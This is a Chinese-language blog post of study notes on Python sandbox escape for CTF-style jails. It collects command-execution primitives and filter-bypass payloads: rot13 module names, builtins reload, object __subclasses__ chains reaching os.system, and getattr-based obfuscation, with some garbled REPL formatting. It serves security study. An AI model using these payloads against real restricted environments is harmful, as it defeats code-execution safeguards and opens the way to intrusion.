也学了挺久的python了,是时候对关于python安全的一些问题做个研究并记录下来了.参考这里python_Sec.
Python Sandbox Bypass
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程.
任意代码或者命令执行
一些常用的的函数方法:
os
1 | import os |
platform
1 | import platform |
subprocess
1 | import subprocess |
如果shell=True的话,curl命令是被Bash(Sh)启动.所以支持shell语法, 如果shell=False的话.启动的是可执行程序本身,后面的参数不再支持shell语法.如果shell=False,你需要用数组表示.1
2
3
4
5
6
7subprocess.call('curl www.baidu.com',shell=False)#这样是会报错的
subprocess.call('curl www.baidu.com',shell=True)#改成True成功
subprocess.call(['curl','www.baidu.com'],shell=False)#用数组表示,第一个是命令,之后都是参数
#再看一个例子
subprocess.call('cat 1.txt',shell=True)#正确
subprocess.call('cat 1.txt',shell=False)#报错
subprocess.call(['cat','1.txt'],shell=False)#成功
exec(),eval(),execfile()
1 | eval('__import__("os").system("ls")') |
timeit
1 | import timeit |
不一样的import
import机制
如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.dict[b1
2
3
4
5
6
7'test.py') f = open(
f.read()
'import os'
import test
'dir') test.os.system(
###等价于
'os'].system('dir') test.__dict__[
__import__
import module
== __import__('module')
1 | __import__('os').system('ls') |
importlib
importlib.import_module(name, package=None)1
2
3importlib.import_module('bf'.decode('rot_13')).system('ls')
importlib.__import__('os').system('ls')#python3新加,python2无
内置函数
不用引入直接使用的内置函数称为 builtin 函数,随着builtins这一个module 自动被引入到环境中.1
2 dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
内置函数搭配加密可以绕过字符串过滤.1
2
3__builtins__.__dict__['__import__']('os').system('ls')
#假如import和os被过滤
__builtins__.__dict__['__vzcbeg__'.decode('rot_13')]('bf'.decode('rot_13')).system('ls')
如果builtins的一些危险函数被del,可以用reload方法重载,就可以得到一个完整的builtins.1
2
3del __builtins__.__dict__['eval']
del __builtins__.__dict__['__import__']
reload(__builtins__)
但是在python3下,如果import被删除,就不能reload了,reload已经不在内置函数里了,需要导入imp库或importlib库,才能reload:1
2
3
4
5>>> del __builtins__.__import__
>>> reload(__builtins__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'reload' is not defined
引入object命令执行
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__
和__bases__
两种方式来创建.1
2
3
4
5
6
7class A(object):pass
class B(object):pass
class C(A,B):pass
C.__bases__
(<class '__main__.A'>, <class '__main__.B'>)
C.__mro__
(<class '__main__.C'>, <class '__main__.A'>, <class '__main__.B'>, <class 'object'>)
__mro__
方法可打印出其继承关系.bases方法可以获取上一层继承关系(如果是多层继承则返回上一层的东西,可能有多个).
创建object对象的方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17''.__class__.__mro__[2]
<type 'object'>
<type 'object'>
0] ().__class__.__bases__[
<type 'object'>
0] [].__class__.__bases__[
<type 'object'>
0] {}.__class__.__bases__[
<type 'object'>
1] ().__class__.__mro__[
<class 'object'>
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> {}.__class__.__mro__[1]
<class 'object'>
>>> [].__class__.__mro__[1]
<class 'object'>
通过object类的subclasses()方法可以获得当前环境下能够访问的所有对象.1
2
3''.__class__.__mro__[2].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
subclasses()第40个是file类型的object,可以用来读文件:1
2
3
4
50].__subclasses__()[40] ().__class__.__bases__[
<type 'file'>
0].__subclasses__()[40]("1.txt").read() ().__class__.__bases__[
'\\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\\nIC+LX+9V/mpyKe9R3wIDAQAB\\n\n'
>>>
函数名过滤的绕过
如果我们成功导入了包,但是system等方法被过滤了,而这些关键字和方法是不能用字符串编码加密解密的,那怎么办呢?
__getattribute__
__getattribute__
是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的getattribute方法.1
2
3
4
5
6
7
8class Test(object):
def echo(self):
'pass it') print(
a = Test()
'ec'+'ho')() a.__getattribute__(
pass it
//假如echo这个字符串被过滤,我们无法直接调用echo方法,但是可以利用__getattribute__传字符串然后编码解码绕过过滤.
再看一个场景, 比如说一个沙盒waf了’ls’导致属性’globals’不能用,那么payload:1
2#python2
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')
转换成1
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')
func_globals
:这个属性指向定义函数时的全局命名空间,返回它所有调用的基类和函数.linecache
模块的作用是将文件内容读取到内存中,进行缓存.__init__
:返回一个函数对象__dict__
:返回所有属性,包括属性,方法等
getattr
getattr() 函数用于返回一个对象属性值.1
2
3
4
5
6
7
8
9
10
11
12
13class Test():
def __init__(self):
'chenxiyuan' self.name=
def echo(self):
'pass it') print(
a = Test()
'name') #获取name属性 getattr(a,
'chenxiyuan'
'echo') #获取echo方法 getattr(a,
<bound method Test.echo of <__main__.Test object at 0x7f3ff7d3ac18>>
'echo')() #执行echo方法 getattr(a,
pass it
这样方法名被过滤的时候也可以通过对字符串操作进行绕过,再看几个payload:1
2getattr(__import__('os'),"metsys"[::-1])('ls')
getattr(__import__('os'),'flfgrz'.encode('rot_13'))('ls')
再看看Smi1e大神的一个payload:1
2
3
4
5
6
7
8
9
10[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
#假如`.`被waf,可以用getattr()来代替
[].__class__ ==> getattr([],'__class__')
[].__class__.__base__ ==> getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59] ==> getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]#后面有括号
[].__class__.__base__.__subclasses__()[59].__init__ ==> getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'] ==> getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache']
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'] ==> getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os']
#最终payload
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')
__globals__
:返回一个当前空间下能使用的模块,方法和变量的字典
当函数名或属性名用这种方法写成字符串后,可绕过的操作就很多了.比如_
被过滤了.我们可以用dir(0)[0][0]
代替,可以看看dir(0)是什么:1
2
3>>> dir(0)
['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr__', '__div__', '__divmod__', '__doc__', '__float__', '__floordiv__', '__format__', '__getattribute__', '__getnewargs__', '__hash__', '__hex__', '__index__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'imag', 'numerator', 'real']
#dir(0)[0][0]返回的是列表的第0个元素的第0个字符,即'__abs__'的_
那么上述payload就可以写为:1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')